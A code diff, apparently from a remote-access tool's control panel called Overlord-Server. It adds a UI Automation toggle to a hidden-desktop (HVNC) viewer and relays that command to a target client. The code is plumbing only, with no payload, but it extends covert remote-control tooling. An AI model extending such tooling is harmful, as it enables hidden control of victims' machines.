toggle UIA support

Overlord-Server/public/assets/hvnc.js

@@ -73,12 +73,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
   const statusEl = document.getElementById("streamStatus");
   const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
   const dxgiCtrl = document.getElementById("dxgiCtrl");
+  const uiaCtrl = document.getElementById("uiaCtrl");
   const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
 
   function syncInputEnableState() {
     if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
     if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
     if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+    if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
     pushHvncResolution();
   }
   let activeClientId = clientId;
@@ -619,6 +621,11 @@ import { checkFeatureAccess } from "./feature-gate.js";
       sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
     });
   }
+  if (uiaCtrl) {
+    uiaCtrl.addEventListener("change", function () {
+      sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
+    });
+  }
 
   function pushHvncResolution() {
     if (hvncResolutionSelect) {

Overlord-Server/public/hvnc.html

@@ -137,6 +137,9 @@
               ><input type="checkbox" id="dxgiCtrl" /> DXGI Capture
               <i class="fa-solid fa-triangle-exclamation text-amber-400 text-xs" title="If Chrome or HVNC is running slowly, DXGI capture may be the cause — uncheck this and restart Chrome inside HVNC to fix it."></i></label
             >
+            <label class="flex items-center gap-2 text-sm text-slate-200" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps."
+              ><input type="checkbox" id="uiaCtrl" checked /> UIA Support</label
+            >
             <label for="hvncResolutionSelect" class="text-sm text-slate-200">Resolution</label>
             <select
               id="hvncResolutionSelect"

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -840,6 +840,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
     case "hvnc_enable_dxgi":
       if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
       break;
+    case "hvnc_enable_uia":
+      if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_uia", { enabled: !!payload.enabled });
+      break;
     case "hvnc_set_resolution": {
       const maxHeight = Number(payload.maxHeight) || 0;
       if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });